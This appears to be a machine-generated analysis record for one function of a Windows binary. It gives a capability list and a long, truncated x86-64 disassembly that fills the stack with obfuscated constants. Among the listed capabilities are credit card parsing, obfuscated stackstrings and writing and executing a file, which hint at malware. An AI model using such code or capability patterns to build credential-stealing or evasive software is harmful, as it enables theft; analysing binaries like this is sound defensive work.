Function at 0x140053310
Capabilities:
Accept command line arguments
Authenticate hmac
Clear file content
Contain obfuscated stackstrings
Create process on windows
Empty the recycle bin
Encode data using base64
Encode data using xor
Get common file path
Get disk information
Get disk size
Get file size
Get file version info
Get geographical location
Manipulate console buffer
Parse credit card information
Parse pe header
Read file on windows
Set current directory
Set environment variable
Suspend thread
Terminate process
Write and execute a file

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x234b8
call fcn.1401eb190
sub rsp, rax
mov byte [rsp + 0x50], 0x2a
mov dword [rsp + 0x2b64], 0x1f7034b2
mov byte [rsp + 0x51], 0x56
mov dword [rsp + 0x2b68], 0xb667b0d8
mov eax, 0x2a0c
mov word [rsp + 0x8e8], ax
mov dword [rsp + 0x2b6c], 0x5d5cbd4e
mov eax, 0xe1a
mov word [rsp + 0x8ec], ax
mov byte [rsp + 0x52], 0x65
mov byte [rsp + 0x53], 0x42
mov byte [rsp + 0x54], 2
movabs rax, 0x9a9ca3877969bd77
mov qword [rsp + 0x4f80], rax
mov byte [rsp + 0x55], 0xb
mov eax, 0x308c
mov word [rsp + 0x8f0], ax
mov eax, 0x88b
mov word [rsp + 0x8f4], ax
movabs rax, 0x7db110ad1a1eccbd
mov qword [rsp + 0x4f88], rax
mov byte [rsp + 0x56], 0xd5
mov eax, 0x8c8
mov word [rsp + 0x8f8], ax
movabs rax, 0x205ab5abab0ab8fd
mov qword [rsp + 0x4f90], rax
movabs rax, 0x37b5e854193efd2f
mov qword [rsp + 0x4f98], rax
mov byte [rsp + 0x57], 0x73
movabs rax, 0x238b089dfa3fee38
mov qword [rsp + 0x4fa0], rax
movabs rax, 0xcec8f78550f60268
mov qword [rsp + 0x4fa8], rax
mov eax, 0x2e7d
mov word [rsp + 0x8fc], ax
movabs rax, 0x70ac810deae451fe
mov qword [rsp + 0x4fb0], rax
mov dword [rsp + 0x2b70], 0x536170f4
mov dword [rsp + 0x2b74], 0x72532fcc
movabs rax, 0x1b382884403f11cc
mov qword [rsp + 0x4fb8], rax
mov dword [rsp + 0x2b78], 0x7e5dbb1f
mov byte [rsp + 0x58], 0x4e
movabs rax, 0x565ff0741023e692
mov qword [rsp + 0x4fc0], rax
mov eax, 0x1e3
mov word [rsp + 0x900], ax
movabs rax, 0x1014d7e994a467c9
mov qword [rsp + 0x4fc8], rax
mov dword [rsp + 0x2b7c], 0x39e99307
mov byte [rsp + 0x59], 0xe3
movabs rax, 0x8f905adc80370503
mov qword [rsp + 0x4fd0], rax
mov dword [rsp + 0x2b80], 0xc8d7f25f
mov eax, 0x491
mov word [rsp + 0x904], ax
mov dword [rsp + 0x2b84], 0x29f5086b
movabs rax, 0x5dd9bf896d715f3b
mov qword [rsp + 0x4fd8], rax
movabs rax, 0x7d38dd10ae467519
mov qword [rsp + 0x4fe0], rax
mov byte [rsp + 0x5a], 5
movabs rax, 0x8e6427d782e3e768
mov qword [rsp + 0x4fe8], rax
mov byte [rsp + 0x5b], 0xdb
mov byte [rsp + 0x5c], 0x56
movabs rax, 0x1012b01a890d2ede
mov qword [rsp + 0x4ff0], rax
mov eax, 0x640d
mov word [rsp + 0x908], ax
mov eax, 0x1c91
mov word [rsp + 0x90c], ax
movabs rax, 0xbe0fee5eb1548ec
mov qword [rsp + 0x4ff8], rax
mov byte [rsp + 0x5d], reloc.SHELL32.dll_ILClone
mov eax, 0x68cb
mov word [rsp + 0x910], ax
mov dword [rsp + 0x2b88], 0x3948bc4d
mov dword [rsp + 0x2b8c], 0x56c5e40
mov eax, 0x27b
mov word [rsp + 0x914], ax
mov byte [rsp + 0x5e], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x69f2df171cdb9a44
mov qword [rsp + 0x5000], rax
mov dword [rsp + 0x2b90], 0x3cb8c174
mov byte [rsp + 0x5f], 0x51
movabs rax, 0x7e33d51ddec83210
mov qword [rsp + 0x5008], rax
movabs rax, 0x5ada5d4e90b1a241
mov qword [rsp + 0x5010], rax
mov dword [rsp + 0x2b94], 0x7057fab8
mov eax, 0x77bb
mov word [rsp + 0x918], ax
mov dword [rsp + 0x2b98], 0x68d9bac4
mov eax, 0x378c
mov word [rsp + 0x91c], ax
movabs rax, 0x2b4d24f249c6f9f9
mov qword [rsp + 0x5018], rax
movabs rax, 0x52104397225cbad0
mov qword [rsp + 0x5020], rax
movabs rax, 0xc308b1c50c64910
mov qword [rsp + 0x5028], rax
mov dword [rsp + 0x2b9c], 0x76593444
movabs rax, 0x4ba36cf03005d4a
mov qword [rsp + 0x5030], rax
mov byte [rsp + 0x60], 8
mov eax, 0x464b
mov word [rsp + 0x920], ax
mov eax, 0x421e
mov word [rsp + 0x924], ax
movabs rax, 0x1e4b0c56a1063794
mov qword [rsp + 0x5038], rax
mov byte [rsp + 0x61], 6
mov eax, 0x7b12
mov word [rsp + 0x928], ax
movabs rax, 0x34e3c4a6012f971b
mov qword [rsp + 0x5040], rax
mov eax, 0x12b
mov word [rsp + 0x92c], ax
mov dword [rsp + 0x2ba0], 0x4a030a2b
mov dword [rsp + 0x2ba4], 0xb094dbbe
mov dword [rsp + 0x2ba8], 0x4d02a360
mov byte [rsp + 0x62], 0x71
mov byte [rsp + 0x63], PathMakeUniqueName
movabs rax, 0x64026e59adf837f
mov qword [rsp + 0x5048], rax
mov byte [rsp + 0x64], 0x63
mov eax, 0x3dc
mov word [rsp + 0x930], ax
mov byte [rsp + 0x65], 0x27
mov byte [rsp + 0x66], 6
movabs rax, 0x74ea3affa8e68898
mov qword [rsp + 0x5050], rax
mov eax, 0x4888
mov word [rsp + 0x934], ax
mov byte [rsp + 0x67], 0
movabs rax, 0x352bef9ac87d08a2
mov qword [rsp + 0x5058], rax
mov byte [rsp + 0x68], 0x3e
mov eax, 0x87b
mov word [rsp + 0x938], ax
movabs rax, 0x2d73b266ec49ffac
mov qword [rsp + 0x5060], rax
mov dword [rsp + 0x2bac], 0x20b8325e
mov byte [rsp + 0x69], 0
mov byte [rsp + 0x6a], 0x3d
mov byte [rsp + 0x6b], 0x1c
mov dword [rsp + 0x2bb0], 0x269e6548
mov byte [rsp + 0x6c], 0x7c
movabs rax, 0xf5e014521c6c503
mov qword [rsp + 0x5068], rax
mov eax, 0x76db
mov word [rsp + 0x93c], ax
mov eax, 0x2ea
mov word [rsp + 0x940], ax
mov byte [rsp + 0x6d], 0x70
mov byte [rsp + 0x6e], 0x93
mov byte [rsp + 0x6f], reloc.SHELL32.dll_ILGetNext
mov byte [rsp + 0x70], 0xd2
movabs rax, 0xd9ec6270047cd948
mov qword [rsp + 0x5070], rax
mov eax, 0x3b83
mov word [rsp + 0x944], ax
movabs rax, 0x54d89d214f7dbcbd
mov qword [rsp + 0x5078], rax
mov eax, 0x641d
mov word [rsp + 0x948], ax
mov eax, 0xb05
mov word [rsp + 0x94c], ax
mov dword [rsp + 0x2bb4], 0xc555128e
mov byte [rsp + 0x71], 0x9d
mov eax, 0x6c43
mov word [rsp + 0x950], ax
mov byte [rsp + 0x72], 0x3d
mov byte [rsp + 0x73], 0x1d
mov eax, 0x4d0
mov word [rsp + 0x954], ax
mov byte [rsp + 0x74], ILGetSize
mov dword [rsp + 0x2bb8], 0x9416c68
mov byte [rsp + 0x75], 0x6b
mov eax, 0x1b94
mov word [rsp + 0x958], ax
mov dword [rsp + 0x2bbc], 0xe1afe636
mov byte [rsp + 0x76], 0x5e
movabs rax, 0xb2fad750d7234fc
mov qword [rsp + 0x5080], rax
mov byte [rsp + 0x77], 0x27
mov eax, 0xb6d
mov word [rsp + 0x95c], ax
movabs rax, 0x6cdde17b6505d99d
mov qword [rsp + 0x5088], rax
mov eax, 0x7c2
mov word [rsp + 0x960], ax
mov byte [rsp + 0x78], 0xd
movabs rax, 0x20eb9d6c78b35ed5
mov qword [rsp + 0x5090], rax
mov byte [rsp + 0x79], 0x1c
mov dword [rsp + 0x2bc0], 0x3c9fe7cb
movabs rax, 0x2becb64e9d7bb7c4
mov qword [rsp + 0x5098], rax
mov dword [rsp + 0x2bc4], 0xf28898e
mov dword [rsp + 0x2bc8], 0x4650be00
mov eax, 0xe9a
mov word [rsp + 0x964], ax
movabs rax, 0x33a7881dcce78e68
mov qword [rsp + 0x50a0], rax
mov byte [rsp + 0x7a], 0x1c
mov byte [rsp + 0x7b], 0x45
movabs rax, 0x6f0a37d9c1f09c2a
mov qword [rsp + 0x50a8], rax
mov byte [rsp + 0x7c], 0x7c
mov byte [rsp + 0x7d], 0xfe
movabs rax, 0x30a4f468d8e6fcb7
mov qword [rsp + 0x50b0], rax
movabs rax, 0x2f8823631005a6d2
mov qword [rsp + 0x50b8], rax
movabs rax, 0xed3edd7855562da8
mov qword [rsp + 0x50c0], rax
mov dword [rsp + 0x2bcc], 0x3e0e5fd9
movabs rax, 0x66054727600c64fa
mov qword [rsp + 0x50c8], rax
mov byte [rsp + 0x7e], 0x3b
movabs rax, 0xc3375defeb340d0b
mov qword [rsp + 0x50d0], rax
mov eax, 0x20d5
mov word [rsp + 0x968], ax
movabs rax, 0x7e7f2110ceab0f0d
mov qword [rsp + 0x50d8], rax
mov dword [rsp + 0x2bd0], 0x1b4aa6e9
mov eax, 0x700e
mov word [rsp + 0x96c], ax
mov byte [rsp + 0x7f], 0x24
mov dword [rsp + 0x2bd4], 0xf003c09c
movabs rax, 0x34991b4df3e137ab
mov qword [rsp + 0x50e0], rax
mov eax, 0xa04
mov word [rsp + 0x970], ax
mov byte [rsp + 0x80], 2
mov eax, 0x219b
mov word [rsp + 0x974], ax
mov byte [rsp + 0x81], 0x70
mov dword [rsp + 0x2bd8], 0x32a8aa60
mov dword [rsp + 0x2bdc], 0xedb2accd
mov byte [rsp + 0x82], 0xb3
mov byte [rsp + 0x83], 0xd7
mov byte [rsp + 0x84], 0x39
mov dword [rsp + 0x2be0], 0x405cb4db
movabs rax, 0x49fcaa6fb7c5b9dc
mov qword [rsp + 0x50e8], rax
movabs rax, 0x54e0785d35196618
mov qword [rsp + 0x50f0], rax
mov dword [rsp + 0x2be4], 0xf25e711b
mov eax, 0x285
mov word [rsp + 0x978], ax
mov dword [rsp + 0x2be8], 0x274fa883
mov byte [rsp + 0x85], 0x38
mov byte [rsp + 0x86], 0x80
mov byte [rsp + 0x87], 0
mov dword [rsp + 0x2bec], 0xddcfba8a
mov dword [rsp + 0x2bf0], 0x28046d58
mov dword [rsp + 0x2bf4], 0x7bc1404a
mov byte [rsp + 0x88], reloc.SHELL32.dll_ILFindChild
movabs rax, 0xd425627932602686
mov qword [rsp + 0x50f8], rax
mov eax, 0x9be
mov word [rsp + 0x97c], ax
mov dword [rsp + 0x2bf8], 0x3a0898ff
mov eax, 0x59ec
mov word [rsp + 0x980], ax
mov eax, 0x4ce1
mov word [rsp + 0x984], ax
mov eax, 0x5cd4
mov word [rsp + 0x988], ax
movabs rax, 0x76f3130f646d9232
mov qword [rsp + 0x5100], rax
mov byte [rsp + 0x89], 0x40
movabs rax, 0x8bad7b135889866d
mov qword [rsp + 0x5108], rax
mov dword [rsp + 0x2bfc], 0x55ee674f
movabs rax, 0x258c5667180fb09
mov qword [rsp + 0x5110], rax
movabs rax, 0xd8f7cdad0233237b
mov qword [rsp + 0x5118], rax
mov eax, 0x3ae
mov word [rsp + 0x98c], ax
mov dword [rsp + 0x2c00], 0x4ec2ad77
mov byte [rsp + 0x8a], 5
mov eax, 0xae1
mov word [rsp + 0x990], ax
mov byte [rsp + 0x8b], ILCreateFromPathW
mov eax, 0xc42
mov word [rsp + 0x994], ax
mov byte [rsp + 0x8c], 0x41
mov dword [rsp + 0x2c04], 0x184f77fd
mov byte [rsp + 0x8d], 0xef
mov dword [rsp + 0x2c08], 0x1e4729b8
mov byte [rsp + 0x8e], 0x6d
mov eax, 0x75e
mov word [rsp + 0x998], ax
mov byte [rsp + 0x8f], ILCombine
movabs rax, 0x1f46bb4ae815555b
mov qword [rsp + 0x5120], rax
movabs rax, 0xd69e59b4178dfef0
mov qword [rsp + 0x5128], rax
movabs rax, 0x3ff338717da688c5
mov qword [rsp + 0x5130], rax
movabs rax, 0x72ae1d396f67333a
mov qword [rsp + 0x5138], rax
mov eax, 0x719f
mov word [rsp + 0x99c], ax
mov eax, 0x8b4
mov word [rsp + 0x9a0], ax
mov dword [rsp + 0x2c0c], 0xf3faa1b
movabs rax, 0x2a2ef40cb552ad29
mov qword [rsp + 0x5140], rax
movabs rax, 0x46660d82777121d8
mov qword [rsp + 0x5148], rax
mov byte [rsp + 0x90], PathYetAnotherMakeUniqueName
mov eax, 0x56fc
mov word [rsp + 0x9a4], ax
mov dword [rsp + 0x2c10], 0xc263e02a
mov byte [rsp + 0x91], 0x20
movabs rax, 0x589b639635f880db
mov qword [rsp + 0x5150], rax
mov eax, 0x150a
mov word [rsp + 0x9a8], ax
mov dword [rsp + 0x2c14], 0x4c1cc8f5
mov eax, 0x25c
mov word [rsp + 0x9ac], ax
mov eax, 0x293c
mov word [rsp + 0x9b0], ax
mov byte [rsp + 0x92], 0x4d
movabs rax, 0xafbfc7a9710850a9
mov qword [rsp + 0x5158], rax
mov byte [rsp + 0x93], 0x3d
mov dword [rsp + 0x2c18], 0x5cc4c30d
mov byte [rsp + 0x94], 0x64
mov eax, 0x4cf9
mov word [rsp + 0x9b4], ax
movabs rax, 0x762fa5e7c92b4dee
mov qword [rsp + 0x5160], rax
mov byte [rsp + 0x95], PathYetAnotherMakeUniqueName
movabs rax, 0x9a2cbc534cb3e693
mov qword [rsp + 0x5168], rax
mov dword [rsp + 0x2c1c], 0x79e4e349
mov eax, 0xbab
mov word [rsp + 0x9b8], ax
mov byte [rsp + 0x96], reloc.SHELL32.dll_ILFree
mov byte [rsp + 0x97], 0x55
mov eax, 0x53b
mov word [rsp + 0x9bc], ax
mov byte [rsp + 0x98], 0xc8
mov dword [rsp + 0x2c20], 0x1b11fe4c
mov byte [rsp + 0x99], 0xcf
mov eax, 0xec2
mov word [rsp + 0x9c0], ax
mov dword [rsp + 0x2c24], 0x2a40bebd
mov byte [rsp + 0x9a], reloc.SHELL32.dll_ILSaveToStream
mov eax, 0xbf0
mov word [rsp + 0x9c4], ax
mov eax, 0x230
mov word [rsp + 0x9c8], ax
movabs rax, 0x76bf258f653ef2cd
mov qword [rsp + 0x5170], rax
mov eax, 0x2ac
mov word [rsp + 0x9cc], ax
mov dword [rsp + 0x2c28], 0x14fbeca1
mov eax, 0x427
mov word [rsp + 0x9d0], ax
movabs rax, 0xdb0dc7e3cdc228c2
mov qword [rsp + 0x5178], rax
mov byte [rsp + 0x9b], 0xd9
mov eax, 0x8bf
mov word [rsp + 0x9d4], ax
movabs rax, 0x30a8e39c66f31c
mov qword [rsp + 0x5180], rax
mov eax, 0x6a6
mov word [rsp + 0x9d8], ax
mov byte [rsp + 0x9c], 0x5e
mov eax, 0xb4a
mov word [rsp + 0x9dc], ax
movabs rax, 0x69baebedebbd0e81
mov qword [rsp + 0x5188], rax
movabs rax, 0xc991f8a090554e5
mov qword [rsp + 0x5190], rax
mov eax, 0xdf1
mov word [rsp + 0x9e0], ax
mov dword [rsp + 0x2c2c], 0x6cd36886
movabs rax, 0x4473f3c79d36e2d8
mov qword [rsp + 0x5198], rax
movabs rax, 0x8f94c4bd792b9e20
mov qword [rsp + 0x51a0], rax
mov eax, 0x3bb
mov word [rsp + 0x9e4], ax
mov byte [rsp + 0x9d], 0x30
mov eax, 0x76e9
mov word [rsp + 0x9e8], ax
mov eax, 0x394e
mov word [rsp + 0x9ec], ax
movabs rax, 0x3c666e4c591c8c2e
mov qword [rsp + 0x51a8], rax
mov byte [rsp + 0x9e], 0x27
mov dword [rsp + 0x2c30], 0x716c4779
mov dword [rsp + 0x2c34], 0x1ce5c0da
mov eax, 0x546
mov word [rsp + 0x9f0], ax
mov dword [rsp + 0x2c38], 0x1e824175
mov eax, 0xfb1
mov word [rsp + 0x9f4], ax
mov byte [rsp + 0x9f], reloc.SHELL32.dll_PathMakeUniqueName
mov eax, 0x8f0
mov word [rsp + 0x9f8], ax
mov dword [rsp + 0x2c3c], 0x79e2a489
movabs rax, 0xcdd6c91f9b0e8a53
mov qword [rsp + 0x51b0], rax
mov byte [rsp + 0xa0], 0x64
mov byte [rsp + 0xa1], reloc.SHELL32.dll_SHUpdateImageW
movabs rax, 0x227886975932171c
mov qword [rsp + 0x51b8], rax
mov byte [rsp + 0xa2], 5
mov eax, 0x5176
mov word [rsp + 0x9fc], ax
mov eax, 0x29a0
mov word [rsp + 0xa00], ax
mov eax, 0x2619
mov word [rsp + 0xa04], ax
mov dword [rsp + 0x2c40], 0x550fb1b7
mov eax, 0x7075
mov word [rsp + 0xa08], ax
mov dword [rsp + 0x2c44], 0x212f037b
mov byte [rsp + 0xa3], 0x8a
mov eax, 0xf6f
mov word [rsp + 0xa0c], ax
mov dword [rsp + 0x2c48], 0x1ccc6f0a
mov eax, 0x27
mov word [rsp + 0xa10], ax
movabs rax, 0x4ca55f74550621d6
mov qword [rsp + 0x51c0], rax
mov byte [rsp + 0xa4], 0x3c
mov eax, 0xf29
mov word [rsp + 0xa14], ax
mov dword [rsp + 0x2c4c], 0x5a8cea44
mov dword [rsp + 0x2c50], 0x68be59e7
mov dword [rsp + 0x2c54], 0x9fc88f79
mov byte [rsp + 0xa5], 0x1e
mov byte [rsp + 0xa6], 0xe7
movabs rax, 0x6b6623682fa5b167
mov qword [rsp + 0x51c8], rax
mov eax, 0x5c20
mov word [rsp + 0xa18], ax
mov dword [rsp + 0x2c58], 0x57545e70
movabs rax, 0x7aaa53e1f0a00014
mov qword [rsp + 0x51d0], rax
mov dword [rsp + 0x2c5c], 0xbc9b60e
mov eax, 0x6c69
mov word [rsp + 0xa1c], ax
mov dword [rsp + 0x2c60], 0xa7720b58
movabs rax, 0x249e1ce465e09531
mov qword [rsp + 0x51d8], rax
mov dword [rsp + 0x2c64], 0x4d0e274e
mov eax, 0xd6b
mov word [rsp + 0xa20], ax
mov dword [rsp + 0x2c68], 0x6ca96b87
movabs rax, 0x36b12958cb7cb809
mov qword [rsp + 0x51e0], rax
mov byte [rsp + 0xa7], 0x41
mov dword [rsp + 0x2c6c], 0xad63ef04
mov dword [rsp + 0x2c70], 0xcdd1c5f
mov byte [rsp + 0xa8], 0x40
mov dword [rsp + 0x2c74], 0x2ce00278
mov eax, 0x4243
mov word [rsp + 0xa24], ax
mov dword [rsp + 0x2c78], 0x6b63cced
mov byte [rsp + 0xa9], SHSetInstanceExplorer
mov dword [rsp + 0x2c7c], 0x5feb6dff
movabs rax, 0xf19a9aad67d77ae6
mov qword [rsp + 0x51e8], rax
mov dword [rsp + 0x2c80], 0x977d8759
mov byte [rsp + 0xaa], 0xd8
mov eax, 0x70
mov word [rsp + 0xa28], ax
mov eax, 0x7d8
mov word [rsp + 0xa2c], ax
movabs rax, 0x69e2f432640a31f2
mov qword [rsp + 0x51f0], rax
mov eax, 0x528
mov word [rsp + 0xa30], ax
mov dword [rsp + 0x2c84], 0x3adbd71c
mov dword [rsp + 0x2c88], 0x2a35759c
mov eax, 0x9a6
mov word [rsp + 0xa34], ax
mov byte [rsp + 0xab], PathMakeUniqueName
mov byte [rsp + 0xac], 2
mov eax, 0xa47
mov word [rsp + 0xa38], ax
movabs rax, 0x33bf594da01f5a22
mov qword [rsp + 0x51f8], rax
mov byte [rsp + 0xad], 0xcc
mov dword [rsp + 0x2c8c], 0x10f71ca3
movabs rax, 0x546de22e2638ba40
mov qword [rsp + 0x5200], rax
mov byte [rsp + 0xae], 0x53
mov eax, 0x891
mov word [rsp + 0xa3c], ax
mov eax, 0xafc
mov word [rsp + 0xa40], ax
movabs rax, 0xc99fcef74b96a620
mov qword [rsp + 0x5208], rax
mov eax, 0x325
mov word [rsp + 0xa44], ax
mov dword [rsp + 0x2c90], 0xdf4bdfff
mov eax, 0xc28
mov word [rsp + 0xa48], ax
movabs rax, 0x8148eb7668870a93
mov qword [rsp + 0x5210], rax
mov dword [rsp + 0x2c94], 0xec362af8
mov eax, 0x4c6e
mov word [rsp + 0xa4c], ax
mov eax, 0x917
mov word [rsp + 0xa50], ax
mov dword [rsp + 0x2c98], 0x2a17a06a
movabs rax, 0x6b9723ec03f7a969
mov qword [rsp + 0x5218], rax
mov byte [rsp + 0xaf], 0x9d
mov eax, 0xeba
mov word [rsp + 0xa54], ax
movabs rax, 0x3019cc9800068a99
mov qword [rsp + 0x5220], rax
movabs rax, 0x47b8d438a244d0c4
mov qword [rsp + 0x5228], rax
mov eax, 0xd61
mov word [rsp + 0xa58], ax
mov byte [rsp + 0xb0], ILClone
mov eax, 0x413
mov word [rsp + 0xa5c], ax
mov eax, 0x9a6
mov word [rsp + 0xa60], ax
movabs rax, 0x679e4bed9a84db4a
mov qword [rsp + 0x5230], rax
mov dword [rsp + 0x2c9c], 0x52b2ff28
movabs rax, 0x588f2353168cb75e
mov qword [rsp + 0x5238], rax
mov byte [rsp + 0xb1], 0x5f
mov dword [rsp + 0x2ca0], 0x43b532f
mov dword [rsp + 0x2ca4], 0x7bde9514
mov eax, 0x3d3
mov word [rsp + 0xa64], ax
movabs rax, 0x49e3623436ccf93
mov qword [rsp + 0x5240], rax
movabs rax, 0x536b0267fc55d61b
mov qword [rsp + 0x5248], rax
movabs rax, 0xd5f0f78b7d678d88
mov qword [rsp + 0x5250], rax
mov byte [rsp + 0xb2], reloc.SHELL32.dll_ILClone
mov dword [rsp + 0x2ca8], 0x294517b2
movabs rax, 0x27a3ef25fa1b264f
mov qword [rsp + 0x5258], rax
mov byte [rsp + 0xb3], 0x53
mov byte [rsp + 0xb4], 0x54
mov dword [rsp + 0x2cac], 0x4fef6309
mov byte [rsp + 0xb5], 0x61
mov eax, 0xbbc
mov word [rsp + 0xa68], ax
movabs rax, 0xb53d28e6946576e
mov qword [rsp + 0x5260], rax
mov eax, 0xfdb
mov word [rsp + 0xa6c], ax
mov eax, 0x249
mov word [rsp + 0xa70], ax
mov dword [rsp + 0x2cb0], 0x1955677f
mov eax, 0x2348
mov word [rsp + 0xa74], ax
mov byte [rsp + 0xb6], 0x72
mov dword [rsp + 0x2cb4], 0x472b2c3d
mov byte [rsp + 0xb7], 0x89
movabs rax, 0xadeb4f9713dd33b3
mov qword [rsp + 0x5268], rax
mov byte [rsp + 0xb8], PathYetAnotherMakeUniqueName
mov eax, 0x27c2
mov word [rsp + 0xa78], ax
movabs rax, 0x4b2de7116cfa70fa
mov qword [rsp + 0x5270], rax
mov eax, 0x758
mov word [rsp + 0xa7c], ax
mov dword [rsp + 0x2cb8], 0xd4792bce
mov byte [rsp + 0xb9], reloc.SHELL32.dll_ILIsEqual
mov eax, 0x2fb
mov word [rsp + 0xa80], ax
mov byte [rsp + 0xba], 0xa3
mov byte [rsp + 0xbb], ILClone
movabs rax, 0x8831e7a2b3319f8d
mov qword [rsp + 0x5278], rax
mov eax, 0x76f
mov word [rsp + 0xa84], ax
mov eax, 0x906
mov word [rsp + 0xa88], ax
movabs rax, 0x2c231bc314b4fdd3
mov qword [rsp + 0x5280], rax
mov eax, 0x68fb
mov word [rsp + 0xa8c], ax
mov eax, 0x7ccd
mov word [rsp + 0xa90], ax
mov byte [rsp + 0xbc], 0x38
movabs rax, 0xd625df8866486626
mov qword [rsp + 0x5288], rax
mov dword [rsp + 0x2cbc], 0x292d37c7
mov dword [rsp + 0x2cc0], 0x457005d5
mov dword [rsp + 0x2cc4], 0xbab749cc
movabs rax, 0xe9b81cad4e26ebd2
mov qword [rsp + 0x5290], rax
mov dword [rsp + 0x2cc8], 0x29d98217
mov eax, 0xb1e
mov word [rsp + 0xa94], ax
movabs rax, 0xb5f408a02cc0a2da
mov qword [rsp + 0x5298], rax
movabs rax, 0xbaddeb42e6065fbe
mov qword [rsp + 0x52a0], rax
mov dword [rsp + 0x2ccc], 0x12a6855
mov dword [rsp + 0x2cd0], 0x2a24c2c0
mov dword [rsp + 0x2cd4], 0x23c6f088
mov eax, 0xa7f
mov word [rsp + 0xa98], ax
mov byte [rsp + 0xbd], PathYetAnotherMakeUniqueName
movabs rax, 0x1c23f0be0cf0604e
mov qword [rsp + 0x52a8], rax
mov dword [rsp + 0x2cd8], 0xef501d84
mov dword [rsp + 0x2cdc], 0x22cd91e4
mov byte [rsp + 0xbe], 0x9c
mov eax, 0x9f6
mov word [rsp + 0xa9c], ax
mov dword [rsp + 0x2ce0], 0xc92b6398
mov byte [rsp + 0xbf], 0xa
mov eax, 0x14d
mov word [rsp + 0xaa0], ax
mov dword [rsp + 0x2ce4], 0x45f39c38
movabs rax, 0x5ac7b36bc1547fca
mov qword [rsp + 0x52b0], rax
mov dword [rsp + 0x2ce8], 0x21be038f
mov eax, 0xf34
mov word [rsp + 0xaa4], ax
movabs rax, 0x2f4aa8cfc9e172f8
mov qword [rsp + 0x52b8], rax
movabs rax, 0x1445ca9acba5486d
mov qword [rsp + 0x52c0], rax
mov byte [rsp + 0xc0], 0xa5
movabs rax, 0x564801a66a0ac2bd
mov qword [rsp + 0x52c8], rax
mov eax, 0xfb4
mov word [rsp + 0xaa8], ax
mov dword [rsp + 0x2cec], 0x13f8d979
mov byte [rsp + 0xc1], 0x6e
mov eax, 0x21f
mov word [rsp + 0xaac], ax
mov dword [rsp + 0x2cf0], 0x1df91a7d
mov dword [rsp + 0x2cf4], 0x4aa81a0f
mov dword [rsp + 0x2cf8], 0xa6fbe732
mov eax, 0xbbe
mov word [rsp + 0xab0], ax
mov eax, 0x3b64
mov word [rsp + 0xab4], ax
mov byte [rsp + 0xc2], 0x86
movabs rax, 0x25e1be4e1c216f34
mov qword [rsp + 0x52d0], rax
mov eax, 0x4cb
mov word [rsp + 0xab8], ax
mov dword [rsp + 0x2cfc], 0xd0eb09a8
mov byte [rsp + 0xc3], 0x58
mov dword [rsp + 0x2d00], 0xff7e6bec
movabs rax, 0x5068f3df3ce68968
mov qword [rsp + 0x52d8], rax
mov byte [rsp + 0xc4], reloc.SHELL32.dll_ILClone
mov byte [rsp + 0xc5], 0xb3
mov dword [rsp + 0x2d04], 0x5910d92c
mov dword [rsp + 0x2d08], 0x52503aae
mov dword [rsp + 0x2d0c], 0x6ebeef61
mov eax, 0x5e9
mov word [rsp + 0xabc], ax
mov eax, 0x6e8f
mov word [rsp + 0xac0], ax
movabs rax, 0x9bb3b61f68d990e1
mov qword [rsp + 0x52e0], rax
mov eax, 0x506
mov word [rsp + 0xac4], ax
mov byte [rsp + 0xc6], 0x63
mov byte [rsp + 0xc7], 0x4c
mov byte [rsp + 0xc8], SHSetInstanceExplorer
mov dword [rsp + 0x2d10], 0x1645cda
movabs rax, 0x7e7fdd4ed867b046
mov qword [rsp + 0x52e8], rax
movabs rax, 0x74cea9ae01d862e0
mov qword [rsp + 0x52f0], rax
mov eax, 0x5b8a
mov word [rsp + 0xac8], ax
mov byte [rsp + 0xc9], PathMakeUniqueName
mov eax, 0x51a5
mov word [rsp + 0xacc], ax
mov byte [rsp + 0xca], 0x1d
mov byte [rsp + 0xcb], 0xb4
movabs rax, 0x4c2d3abf71f37a75
mov qword [rsp + 0x52f8], rax
mov byte [rsp + 0xcc], 0x6f
mov eax, 0x2024
mov word [rsp + 0xad0], ax
mov dword [rsp + 0x2d14], 0x6ed2956a
mov byte [rsp + 0xcd], PathYetAnotherMakeUniqueName
movabs rax, 0x34826066eb5cbbed
mov qword [rsp + 0x5300], rax
mov dword [rsp + 0x2d18], 0x6398f2db
mov byte [rsp + 0xce], reloc.SHELL32.dll_PathMakeUniqueName
mov dword [rsp + 0x2d1c], 0x4d0e9f9a
mov byte [rsp + 0xcf], 0x32
mov byte [rsp + 0xd0], PathYetAnotherMakeUniqueName
movabs rax, 0xb0b9ba550b7225c
mov qword [rsp + 0x5308], rax
movabs rax, 0xc06f8211be7f95b
mov qword [rsp + 0x5310], rax
movabs rax, 0x566cc2521e9aca83
mov qword [rsp + 0x5318], rax
mov dword [rsp + 0x2d20], 0x93ba1a67
mov byte [rsp + 0xd1], 0x3b
mov byte [rsp + 0xd2], 7
mov byte [rsp + 0xd3], 0x20
mov dword [rsp + 0x2d24], 0x429bff2c
mov dword [rsp + 0x2d28], 0xa40e77ff
mov dword [rsp + 0x2d2c], 0xc435d4b1
mov byte [rsp + 0xd4], 0xef
mov dword [rsp + 0x2d30], 0xa089523b
mov byte [rsp + 0xd5], 0x63
mov eax, 0xce5
mov word [rsp + 0xad4], ax
mov eax, 0x762
mov word [rsp + 0xad8], ax
mov eax, reloc.SHELL32.dll_SHMultiFileProperties
mov word [rsp + 0xadc], ax
mov byte [rsp + 0xd6], 8
mov byte [rsp + 0xd7], 0x3b
mov dword [rsp + 0x2d34], 0x33eea01
mov byte [rsp + 0xd8], ILClone
mov byte [rsp + 0xd9], 0x30
mov eax, 0x4f64
mov word [rsp + 0xae0], ax
movabs rax, 0x23abd77739815d3f
mov qword [rsp + 0x5320], rax
mov dword [rsp + 0x2d38], 0xc11dc543
mov eax, 0x17c0
mov word [rsp + 0xae4], ax
mov eax, 0xd83
mov word [rsp + 0xae8], ax
mov eax, 0x5a30
mov word [rsp + 0xaec], ax
mov dword [rsp + 0x2d3c], 0x205589b4
mov eax, PathMakeUniqueName
mov word [rsp + 0xaf0], ax
mov dword [rsp + 0x2d40], 0xb043c9b7
mov dword [rsp + 0x2d44], 0xc0d44e7d
mov dword [rsp + 0x2d48], 0xf31956d5
movabs rax, 0x229d3afcbe9a86f2
mov qword [rsp + 0x5328], rax
mov byte [rsp + 0xda], ILSaveToStream
movabs rax, 0xdc0a22554c71db3
mov qword [rsp + 0x5330], rax
movabs rax, 0xf4eeda9c530adb22
mov qword [rsp + 0x5338], rax
movabs rax, 0xd58c7205bcb1f7c5
